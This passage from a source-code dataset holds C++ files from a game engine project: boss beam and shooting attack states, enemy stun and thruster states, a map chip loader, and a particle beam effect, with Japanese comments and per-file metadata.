{\n\t\tDeleteGO(m_beams.at(i));\n\t}\n\tDeleteGO(m_shootSE);\n}\n\nvoid Boss_FatmanChargeBeamAndShootingState::Enter(IEnemy* e)\n{\n\t//e->GetModel()->SetRotation(Boss_Fatman::EnemyToPlayerRotation(e));\n\tm_startRot = e->GetModel()->GetRotation();\n\tm_sumLerp = 0.0f;\n\t\n\tInitChargeBeam(e);\n\n\tInitShooting(e);\n}\n\nIEnemyState* Boss_FatmanChargeBeamAndShootingState::Update(IEnemy* e)\n{\n\t//球面線形補完を使ってじわじわプレイヤーに向かって回転させる。\n\tQuaternion EtoPRot = Boss_Fatman::EnemyToPlayerRotation(e);\n\tQuaternion currentRot = Quaternion::Identity;\n\tconst float rotTime = 1.0f;\n\tm_sumLerp += gameTime()->GetDeltaTime();\n\tcurrentRot.Slerp(min(1.0f, m_sumLerp / rotTime), m_startRot, EtoPRot);\n\te->GetModel()->SetRotation(currentRot);\n\n\tChargeBeam(e);\n\n\tShooting(e);\n\n\tif (m_isEndChargeBeam && m_isEndShooting) {\n\t\tm_isKnockBackCB = false;\n\t\tm_isKnockBackSH = false;\n\t\tm_isBeamSound = false;\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t}\n\t\n\treturn this;\n}\n\nvoid Boss_FatmanChargeBeamAndShootingState::Exit(IEnemy* e)\n{\n\tm_shootSE->Stop();\n}\n\nvoid Boss_FatmanChargeBeamAndShootingState::OnAttacked(IEnemy* e)\n{\n}\n\nvoid Boss_FatmanChargeBeamAndShootingState::InitChargeBeam(IEnemy* e)\n{\n\t//ダメージ数を計算。\n\tconst float time = 10.f;\n\tm_chargeDamage = Boss_Fatman::CalcDamage(time);\n\n\t//タイマーのリセット。\n\tm_chargeTimer = 0.f;\n\tm_endBeamTimer = 0.f;\n\n\tm_isSetPos = false;\n\n\t//IK情報。\n\tfor (int i = 0; i < IK_NUM; i++) {\n\t\tm_chargebeamIk[i] = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L) + i);\n\t}\n\tm_isEndChargeBeam = false;\n}\n\nvoid Boss_FatmanChargeBeamAndShootingState::ChargeBeam(IEnemy* e)\n{\n\tif (Charge(e)) {\n\t\tm_endBeamTimer += gameTime()->GetDeltaTime();\n\t\tconst float endTime = 2.f;\t\t//撃っている時間。\n\t\tif (m_endBeamTimer < endTime) {\n\t\t\t//ビームを撃つ方向を設定。\n\t\t\tif (!m_isSetPos) {\n\t\t\t\tauto& p = GameManager::GetInstance().m_player;\n\t\t\t\tm_position = p->GetPosition();\n\t\t\t\tm_isSetPos = true;\n\t\t\t\tm_position.y += 6.f;\n\t\t\t}\n\t\t\t//ビームは2本あるので2回判定を行う。\n\t\t\tfor (int i = 0; i < IK_NUM; i++) {\n\t\t\t\t//攻撃判定。\n\t\t\t\tif (BeamJudge(e, i)) {\n\t\t\t\t\t//プレイヤーが飛んでいたら撃ち落とす。\n\t\t\t\t\tauto& p = GameManager::GetInstance().m_player;\n\t\t\t\t\tif (!m_isKnockBackCB && !p->IsOnGround()) {\n\t\t\t\t\t\tp->ApplyDamage(m_chargeDamage, true, Vector3::Zero);\n\t\t\t\t\t\tm_isKnockBackCB = true;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tp->ApplyDamage(m_chargeDamage);\n\t\t\t\t\t}\n\t\t\t\t\tm_endBeamTimer = 0.f;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tm_isEndChargeBeam = true;\n\t\t}\n\t}\n}\n\nbool Boss_FatmanChargeBeamAndShootingState::Charge(IEnemy* e)\n{\n\tfloat chargeTime = 1.0f;\t\t//溜めている時間。\n\tif (EnBattlePhase::Tired == Boss_Fatman::GetCurrentBattlePhase()) {\n\t\tchargeTime = 2.0f;\n\t}\n\n\n\tm_chargeTimer += gameTime()->GetDeltaTime();\n\tif (m_chargeTimer > chargeTime) {\n\t\tm_isChargeSound = false;\n\t\treturn true;\n\t}\n\n\tif (!m_isChargeSound) {\n\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/boss_fatman/charge.wav\");\n\t\tse->Play(false);\n\t\tm_isChargeSound = true;\n\t}\n\n\tfor (int i = 0; i < IK_NUM; i++) {\n\t\t//エフェクトの設定。\n\t\t//エフェクトを溜め状態に設定。\n\t\tm_beams[i]->SetChange(true);\n\n\t\t//大きさを小さめに設定。\n\t\tm_beams[i]->SetSca(Vector3::One * 0.03);\n\n\t\t//骨の座標の取得。\n\t\tauto epos = m_chargebeamIk[i]->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\t\tm_beams[i]->SetPos(epos);\n\n\t\t//モデルからプレイヤーまでの方向を設定。\n\t\tauto& p = GameManager::GetInstance().m_player;\n\t\tauto ppos = p->GetPosition();\n\n\t\t//狙いを少し上にする。\n\t\tconst float yUp = 4.f;\n\t\tppos.y += yUp;\n\n\t\t//エフェクトの再生。\n\t\tm_beams[i]->Play();\n\t\tm_beams[i]->SetRot(m_chargebeamIk[i]->GetEffectorBone()->GetWorldMatrix().GetRotate());\n\t\t//IKで砲身を動かす。\n\t\tm_chargebeamIk[i]->SetNextTarget(ppos);\n\t}\n\treturn false;\n}\n\nbool Boss_FatmanChargeBeamAndShootingState::BeamJudge(IEnemy* e, int ikNo)\n{\n\t//エフェクトの溜め状態を解除。\n\tm_beams[ikNo]->SetChange(false);\n\t//大きさを大きめに設定。\n\tm_beams[ikNo]->SetSca(Vector3::One * 0.3);\n\n\t//ビームの幅の判定。\n\t//敵からプレイヤーに向かうベクトル。\n\t//m_positionは最初にロックオンしたときのプレイヤーの位置。\n\tauto epos = m_chargebeamIk[ikNo]->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\n\tVector3 vecEtoP = m_position - epos;\n\n\t//外積。横方向に伸びた、VecPtoEに直行するベクトル。\n\tVector3 EWidth;\n\tEWidth.Cross(vecEtoP, Vector3::Up);\n\tEWidth.Normalize();\n\n\t//外積。縦方向に伸びた、VecPtoEに直行するベクトル。\n\tVector3 EHeight;\n\tEHeight.Cross(vecEtoP, Vector3::Right);\n\tEHeight.Normalize();\n\n\t//pposは現在のプレイヤーの位置。\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto ppos = p->GetPosition();\n\tppos.y += 6.0f;\n\tVector3 vecEtoCurrentP = ppos - epos;\n\n\t//プレイヤーと敵を横に並べたと仮定したときの距離。\n\tfloat dirW = EWidth.Dot(vecEtoCurrentP);\n\n\t//プレイヤーと敵を縦に並べたと仮定したときの距離。\n\tfloat dirH = EHeight.Dot(vecEtoCurrentP);\n\n\t//正面にいるかどうか判定するための内積。\n\t//マイナスだったら後ろ。\n\tfloat front = vecEtoP.Dot(vecEtoCurrentP);\n\n\t//IKで砲身を動かす。\n\t/*const float yUp = 4.f;\n\tm_position.y += yUp;*/\n\n\tVector3 movespeed = ppos - m_position;\n\tmovespeed.Normalize();\n\tconst float addmovespeed = 10.0f;\n\tmovespeed *= addmovespeed * gameTime()->GetDeltaTime();\n\tm_position += movespeed;\n\tm_chargebeamIk[ikNo]->SetNextTarget(m_position);\n\n\tm_beams[ikNo]->SetPos(epos);\n\tm_beams[ikNo]->SetRot(m_chargebeamIk[ikNo]->GetEffectorBone()->GetWorldMatrix().GetRotate());\n\tm_beams[ikNo]->Play();\n\n\tif (!m_isBeamSound) {\n\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/beam.wav\");\n\t\tse->Play(false);\n\t\tm_isBeamSound = true;\n\t}\n\n\tconst float beamWidth = 8.0f;\t\t//ビームの幅。\n\tif (std::abs(dirW) < beamWidth and std::abs(dirH) < beamWidth and front > 0) {\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nvoid Boss_FatmanChargeBeamAndShootingState::InitShooting(IEnemy* e)\n{\n\tconst float time = 20.f;\n\tm_shootingDamage = Boss_Fatman::CalcDamage(time);\n\n\tm_shotTimer = 0.f;\n\tm_stateTimer = 0.f;\n\n\t//IK情報。\n\tfor (int i = 0; i < IK_NUM; i++) {\n\t\tm_shootingIk[i] = e->GetIK(TO_INT(IEnemy::EnIK::enFoot_L) + i);\n\t}\n\n\tm_isEndShooting = false;\n}\n\nvoid Boss_FatmanChargeBeamAndShootingState::Shooting(IEnemy* e)\n{\n\tconst float shotTime = 0.01f;\n\tm_shotTimer += gameTime()->GetDeltaTime();\n\tm_stateTimer += gameTime()->GetDeltaTime();\n\tconst float maxTime = 5.f;\n\tif (m_stateTimer > maxTime) {\n\t\tm_isEndShooting = true;\n\t}\n\n\t//一定間隔で弾を撃つ。\n\tif (m_shotTimer > shotTime) {\n\t\tauto rand = GRandom().Rand();\n\t\trand *= 3.f;\n\t\tfor (int i = 0; i <= rand; i++) {\n\t\t\tBulletGenerate(e);\n\t\t\tif (!m_shootSE->IsPlaying()) {\n\t\t\t\tm_shootSE->Play(true);\n\t\t\t}\n\t\t}\n\n\t\tm_shotTimer = 0.f;\n\t}\n}\n\nvoid Boss_FatmanChargeBeamAndShootingState::BulletGenerate(IEnemy* e)\n{\n\tfor (int i = 0; i < IK_NUM; i++) {\n\t\t//撃ちだす方向を決める。\n\t\t//少し上に設定。\n\t\tconst float upY = 6.f;\n\t\tEnemy_Bullet* eb = NewGO<Enemy_Bullet>(0, true);\n\t\t/*auto epos = e->GetPosition();\n\t\tepos.y += upY;*/\n\t\tVector3 epos = m_shootingIk[i]->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\n\t\tauto& p = GameManager::GetInstance().m_player;\n\t\tauto ppos = p->GetPosition();\n\t\tppos.y += 6.0f;\n\t\t\n\t\tfor (int i = 0; i < IK_NUM; i++) {\n\t\t\tm_shootingIk[i]->SetNextTarget(ppos);\n\t\t}\n\n\t\tVector3 dir = ppos - epos;\n\t\tdir.Normalize();\n\n\t\t//撃ちだす弾の振れ幅を決める。(1つ目の回転)\n\t\tVector3 cross;\n\t\tcross.Cross(dir, Vector3::Up);\n\n\t\t//ランダムな角度。\n\t\tconst float maxAngle = 4.f;\n\t\tfloat angle = 0.f;\n\t\tauto rand = GRandom().Rand();\n\t\tangle = maxAngle * rand;\n\n\t\t//1つ目の回転を作成。\n\t\tQuaternion rot;\n\t\trot.SetRotationDeg(cross, angle);\n\n\t\t//主軸を回転させる。(2つ目の回転)\n\t\t//ランダムな角度。\n\t\tconst float maxAngle2 = 360.f;\n\t\tfloat angle2 = 0.f;\n\t\tauto rand2 = GRandom().Rand();\n\t\tangle2 = maxAngle2 * rand2;\n\n\t\t//2つ目の回転を作成。\n\t\tQuaternion rot2;\n\t\trot2.SetRotationDeg(dir, angle2);\n\n\t\t//回転を適用。\n\t\trot.Apply(dir);\n\t\trot2.Apply(dir);\n\n\t\t//弾の初期化。\n\t\teb->Init(epos, 0.6f, dir, 400.f, 5.f, 2.f);\n\n\t\t//攻撃。\n\t\t//プレイヤーが飛んでいたら撃ち落とす。\n\t\tVector3 knockVector = ppos - epos;\n\t\tknockVector.Normalize();\n\t\tconst float knockParam = 200.f;\n\t\tknockVector *= knockParam;\n\t\tif (!m_isKnockBackSH && !p->IsOnGround()) {\n\t\t\teb->SetDamage(m_shootingDamage, true, knockVector);\n\t\t\tm_isKnockBackSH = true;\n\t\t}\n\t\telse {\n\t\t\teb->SetDamage(m_shootingDamage);\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.6973058581352234,
"alphanum_fraction": 0.6988906264305115,
"avg_line_length": 11.795918464660645,
"blob_id": "53cc4e0e58c490842878db0fc77c7ba2298eb7f3",
"content_id": "e26439714642223a54f3af30d52d95e6dac4749b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 631,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 49,
"path": "/Game/PositionChecker.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PositionChecker.h\"\n\n\nPositionChecker::PositionChecker()\n{\n\n}\n\nPositionChecker::~PositionChecker()\n{\n\n}\n\n\n\nvoid PositionChecker::Release()\n{\n\tDeleteGO(m_model);\n}\n\nvoid PositionChecker::OnDestroy()\n{\n\tRelease();\n}\n\n\n\nbool PositionChecker::Start()\n{\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(m_scale);\n\n\treturn true;\n}\n\n\n\nvoid PositionChecker::Update()\n{\n\tm_model->SetPosition(m_position);\n}\n\n\n\n\n"
},
{
"alpha_fraction": 0.6845753788948059,
"alphanum_fraction": 0.6863085031509399,
"avg_line_length": 19.60714340209961,
"blob_id": "b05ac06b48109a095ed3ccab5e5a87582d3f5434",
"content_id": "3eceda18e734a429b1a461396041796cd6274198",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 687,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 28,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigComing.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass EnemyShortBigComing final : public IEnemyState\n{\npublic:\n\tEnemyShortBigComing();\n\t~EnemyShortBigComing();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\t\nprivate:\n\t/// <summary>\n\t/// 移動\n\t/// </summary>\n\t/// <param name=\"e\"></param>\n\tvoid Move(IEnemy* e);\n\t/// <summary>\n\t/// アニメーション\n\t/// </summary>\n\t/// <returns>アニメーションが終わったかどうかを返す。</returns>\n\tbool IsAnimation();\nprivate:\n\tfloat m_danceTimer = 0.f;\t//ダンス行動をするかどうかの判定を行うまでの時間計測。\n\n\tIK* m_headIK = nullptr;\n};\n"
},
{
"alpha_fraction": 0.7138850092887878,
"alphanum_fraction": 0.730715274810791,
"avg_line_length": 22.766666412353516,
"blob_id": "7eb3904722cd6dfd77689dae20d4591a23901d12",
"content_id": "ea6127f46a8b9dfea1418ce01fa43e14329eaa4c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 713,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 30,
"path": "/Game/Enemy/State/MiddleBombState/BossBombCoroCoroState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass MuzzleFlash;\nclass BossBombCoroCoroState final : public IEnemyState\n{\npublic:\n\tBossBombCoroCoroState();\n\t~BossBombCoroCoroState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tfloat m_timer = 0.f;\n\tconst float m_timeLimit = 0.5f;\n\tfloat m_timeAnimEnd = 0.f;\n\tconst float m_timeEnd = 0.2f;\n\tconst float m_timeLaunchSpan = 0.5f;\n\tfloat m_timeLaunch = 0.f;\n\tbool m_isLaunchSleep = false;\n\n\tBone* m_cannonBone = nullptr;\n\tQuaternion m_firstRot;\n\tMuzzleFlash* m_effect;\n\n\tbool m_isLaunch = false;\n\tint m_launceNum = 0;\n\tVector3 m_oldIKpos = Vector3::Zero;\n};\n"
},
{
"alpha_fraction": 0.7171717286109924,
"alphanum_fraction": 0.726150393486023,
"avg_line_length": 28.733333587646484,
"blob_id": "62d3274e83540d1b2f2750c6c0e97d26d293047a",
"content_id": "055bc58adf4b4bcf99d83eb5e2ca9b8fa7620583",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 945,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 30,
"path": "/UsualEngineR/level/MapChip.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"MapChip.h\"\n#include \"Level.h\"\n\nnamespace UER\n{\n\tMapChip::MapChip(const LevelObjectData& objData)\n\t{\n\t\tstd::wstring wname = objData.name;\n\t\tstd::string name(wname.begin(), wname.end());\n\t\tchar filePath[256];\n\t\tsprintf_s(filePath, \"Assets/modelData/%s.tkm\", name.c_str());\n\t\tModelInitData mid;\n\t\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\t\tmid.m_vsEntryPointFunc = \"VSMain\";\n\t\tmid.m_psEntryPointFunc = \"PSMain\";\n\t\tmid.m_tkmFilePath = filePath;\n\n\t\tm_model.Init(mid);\n\t\tm_model.UpdateWorldMatrix(objData.position, objData.rotation, objData.scale);\n\t\t//静的物理オブジェクトをメッシュコライダーから作成する。\n\t\tm_physicsStaticObject.CreateMeshObject(m_model, objData.position, objData.rotation,objData.scale);\n\t}\n\n\tvoid MapChip::Draw()\n\t{\n\t\tm_model.Draw(g_graphicsEngine->GetRenderContext(),Vector4::White);\n\t\t//m_model.Draw(g_graphicsEngine->GetRenderContext(), {1,0,0,1});\n\t}\n}"
},
{
"alpha_fraction": 0.7003994584083557,
"alphanum_fraction": 0.7092764973640442,
"avg_line_length": 24.613636016845703,
"blob_id": "5fd8e0fdb7076599fb1087631836d6c2d3703fa1",
"content_id": "fa7dcf6d1c58e5b5a34afb0f8946c9d40fb99a9c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2253,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 88,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeThrusterAttackState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyMeleeThrusterAttackState.h\"\n#include \"../../EnemyManager.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Boss/BossA.h\"\n#include \"GameManager.h\"\n#include \"Effect/JetEffect.h\"\n\nEnemyMeleeThrusterAttackState::EnemyMeleeThrusterAttackState() {\n\n}\n\nEnemyMeleeThrusterAttackState::~EnemyMeleeThrusterAttackState() {\n\n}\n\nvoid EnemyMeleeThrusterAttackState::Enter(IEnemy* e) {\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter melee thruster attack\\n\");\n#endif\n\n\tm_canExecute = true;\n\n\tif (e->GetAbility().stamina < m_cost) {\n\t\tm_canExecute = false;\n\t\treturn;\n\t}\n\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n\tauto& effects = e->GetJetEffects();\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetScale(0.5f);\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetScale(0.5f);\n\teffects.at(TO_INT(BossA::EnJetBone::Skirt))->SetScale(0.5f);\n\n\tm_fireTimer = 0.f;\n\te->SetVelocity(Vector3::Zero);\n\n\te->UseStamina(m_cost);\n}\n\nIEnemyState* EnemyMeleeThrusterAttackState::Update(IEnemy* e) {\n\n\tif (!m_canExecute) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tauto dist = (player->GetPosition() - e->GetPosition()).Length();\n\tauto delta = gameTime()->GetDeltaTime();\n\n\tif (dist < m_range) {\n\t\tconst float knockBackParam = 200.f;\n\t\tauto vecToPlayer = player->GetPosition() - e->GetPosition();\n\t\tvecToPlayer.Normalize();\n\t\tvecToPlayer *= knockBackParam;\n\t\tplayer->ApplyDamage(m_damage * delta, true, vecToPlayer);\n\n\t\tauto punchSE = NewGO<CSoundSource>(0);\n\t\tpunchSE->Init(L\"Assets/sound/chara/punch_2_1.wav\", true);\n\t\tpunchSE->SetPosition(e->GetPosition());\n\t\tpunchSE->Play(false);\n\n\t}\n\n\tif (m_fireTimer > m_fireTime) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\tm_fireTimer += gameTime()->GetDeltaTime();\n\n\treturn this;\n}\n\nvoid EnemyMeleeThrusterAttackState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit melee thruster attack\\n\");\n#endif\n\n\tauto& effects = e->GetJetEffects();\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetScale(0.1f);\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetScale(0.1f);\n\teffects.at(TO_INT(BossA::EnJetBone::Skirt))->SetScale(0.1f);\n\n}"
},
{
"alpha_fraction": 0.6790392994880676,
"alphanum_fraction": 0.6861353516578674,
"avg_line_length": 20.564706802368164,
"blob_id": "1a9c0eef1f54d4418e8423cb6d4d79e9590b79e4",
"content_id": "b4d2e4b45308ed73af2f8b76e434d7150a005ed0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1832,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 85,
"path": "/Game/Enemy/State/EnemyStunState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyStunState.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Player/Player.h\"\n#include \"Enemy/Boss/BossA.h\"\n#include \"GameManager.h\"\n\nEnemyStunState::EnemyStunState() {\n\n}\n\nEnemyStunState::~EnemyStunState() {\n\n}\n\nvoid EnemyStunState::Enter(IEnemy* e) {\n\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n\tm_timer = 0.f;\n\tm_velocity = e->GetKnockBackImpulse();\n\te->SetKnockBackImpulse(Vector3::Zero);\n\tm_velocityGoal.x = m_VELOCITY_MAX;\n\tm_velocityGoal.z = m_VELOCITY_MAX;\n\n\te->SetAutoRotateFlag(false);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter melee stun\\n\");\n#endif\n}\n\nIEnemyState* EnemyStunState::Update(IEnemy* e) {\n\tauto delta = gameTime()->GetDeltaTime();\n\tm_timer += delta;\n\n\tfloat height = 0.f;\n\tfloat speedFraction = 1.f;\n\tm_velocityGoal.y = height;\n\n\tif (m_velocity.x == m_velocityGoal.x and m_velocity.z == m_velocityGoal.z) {\n\t\tm_velocityGoal = Vector3::Zero;\n\t}\n\n\tm_velocity.x = Approach(m_velocityGoal.x, m_velocity.x, delta * m_QUICKNESS);\n\tm_velocity.z = Approach(m_velocityGoal.z, m_velocity.z, delta * m_QUICKNESS);\n\tm_velocity.y = Approach(m_velocityGoal.y, m_velocity.y, delta * m_QUICKNESS);\n\n\tauto vel = m_velocity;\n\n\tif (!e->IsOnGround())\n\t\tvel.y += m_GRAVITY;\n\n\tvel = m_velocity;\n\n\te->SetVelocity(vel);\n\n\t//Rotation\n\t/*\n\tif (vel.x != 0.f or vel.z != 0.f) {\n\t\tQuaternion rot = Quaternion::Identity;\n\t\tauto theta = atan2(vel.x, vel.z);\n\t\ttheta = theta * (180.f / Math::PI);\n\t\trot.SetRotationDegY(theta);\n\t\te->SetRotation(rot);\n\t}\n\t*/\n\n\t//State\n\tif (m_velocity.x == 0 and m_velocity.z == 0) {\n\t\tauto nextState = e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t\treturn nextState;\n\t}\n\n\treturn this;\n}\n\nvoid EnemyStunState::Exit(IEnemy* e) {\n\te->SetAutoRotateFlag(true);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit melee stun\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.7555555701255798,
"alphanum_fraction": 0.7555555701255798,
"avg_line_length": 22,
"blob_id": "b542b98df667400ed4f15e5291b60adbea178372",
"content_id": "0631816d00b64ae58d239dde1697486878ec68fc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 45,
"license_type": "no_license",
"max_line_length": 23,
"num_lines": 2,
"path": "/UsualEngineR/util/GameTime.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"GameTime.h\""
},
{
"alpha_fraction": 0.6275612711906433,
"alphanum_fraction": 0.6448372602462769,
"avg_line_length": 16.521127700805664,
"blob_id": "f18703f227befce7e5f3fd20525776d5f66b00b8",
"content_id": "cac535dc8f625a41d4b6195e4fba909d3aec4a04",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2593,
"license_type": "no_license",
"max_line_length": 124,
"num_lines": 142,
"path": "/Game/Effect/Beam.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Beam.h\"\n\n\nBeam::Beam()\n{\n\n}\n\nBeam::~Beam()\n{\n\n}\n\n\n\nvoid Beam::Release()\n{\n\tDeleteGO(m_effect);\n}\n\nvoid Beam::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Beam::Awake()\n{\n\n}\n\nbool Beam::Start()\n{\n\treturn true;\n}\n\n\nvoid Beam::PreUpdate()\n{\n\n}\n\nvoid Beam::Update()\n{\n\n}\n\nvoid Beam::PostUpdate()\n{\n\n}\n\nvoid Beam::Init(const BeamEffectInitData& bid)\n{\n\tDeleteGO(m_effect);\n\n\tm_particleScale = bid.particleScale;\n\tm_chargeColor = bid.chargeColor;\n\tm_beamColor = bid.beamColor;\n\tm_particleLifeTime = bid.particleLifeTime;\n\n\tPlaneParticleEffectInitData pid;\n\tpid.m_ddsFilePath = L\"Assets/Image/illumination.dds\";\n\tpid.m_height = 10;\n\tpid.m_width = 10;\n\tpid.m_isBillboard = true;\n\n\tPlaneParticleUpdater m_effctUpdater(\n\t\t[&]PLANE_PARTICLE_GENERATE_FUNC(pThis, deltaTime)\n\t{\n\t\tVector3 pos = { 0.f,0.f,0.f };\n\t\tVector3 moveSpeed = Vector3::Zero;\n\n\t\tif (m_isCharge) {\n\t\t\t//チャージ。\n\t\t\tfor (int i = 0; i < 10; i++) {\n\t\t\t\t//プレイヤーの横方向に300.f分ずらす。\n\t\t\t\tpos = m_holizontalDir * 300.f;\n\t\t\t\t//横の移動量の決定。\n\t\t\t\tconst float maxMoveY = 20.f;\n\t\t\t\tauto rand = GRandom().Rand();\n\t\t\t\tfloat add = maxMoveY * rand;\n\t\t\t\tVector3 moveAdd = m_holizontalDir * add;\n\t\t\t\tpos += moveAdd;\n\n\t\t\t\tconst float maxAngle = 360.f;\n\t\t\t\tauto rand2 = GRandom().Rand();\n\t\t\t\tQuaternion rot;\n\t\t\t\trot.SetRotationDeg(m_direction, maxAngle * rand2);\n\t\t\t\trot.Apply(pos);\n\n\t\t\t\tpThis->AddParticle(pos, g_vec3One * m_particleScale, g_quatIdentity, m_chargeColor, m_particleLifeTime, nullptr, false);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t//ビーム。\n\t\t\tconst float beamSpeed = 5.f;\n\t\t\tmoveSpeed = m_direction * beamSpeed;\n\t\t\tfor (int i = 0; i < 10000; i++) {\n\t\t\t\tpos += moveSpeed;\n\t\t\t\tpThis->AddParticle(pos, g_vec3One * m_particleScale, g_quatIdentity, m_beamColor, m_particleLifeTime, nullptr, false);\n\t\t\t}\n\t\t}\n\t\tif (!m_isLoop) {\n\t\t\tm_isPlay = false;\n\t\t\tpThis->SetGenerateFlag(false);\n\t\t}\n\t},\n\t\t[&]PLANE_PARTICLE_UPDATE_FUNC(data, deltaTime, extendData) {\n\t\tif (m_isCharge) {\n\t\t\t//向きを反対にする。\n\t\t\tVector3 dir = data.particleData.pos * -1;\t\t\t\n\t\t\t//正規化。\n\t\t\tdir.Normalize();\n\t\t\t//動きを反映。\n\t\t\tVector3 moveSpeed = Vector3::Zero;\n\t\t\tfloat chargeDistance = 30.f;\n\t\t\tmoveSpeed = dir * chargeDistance;\n\t\t\tdata.particleData.pos += moveSpeed;\n\t\t}\n\t});\n\tpid.m_updater = &m_effctUpdater;\n\tm_effect = NewGO<PlaneParticleEffectRender>(0);\n\tm_effect->Init(pid);\n\n\tif (!m_isLoop) {\n\t\tm_effect->SetGenerateFlag(false);\n\t}\n}\n\nvoid Beam::Play()\n{\n\tm_isPlay = true;\n\tm_effect->SetGenerateFlag(true);\n}\n\nvoid Beam::Stop()\n{\n\tm_isPlay = false;\n\tm_effect->SetGenerateFlag(false);\n}\n\n"
},
{
"alpha_fraction": 0.6532142758369446,
"alphanum_fraction": 0.6692857146263123,
"avg_line_length": 19.902984619140625,
"blob_id": "1e3aa10f7c41964c918d64d01a54a7536731bb30",
"content_id": "6c2ec514d9446d3443b35710a5e3b1da7633cbe8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3084,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 134,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigComing.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
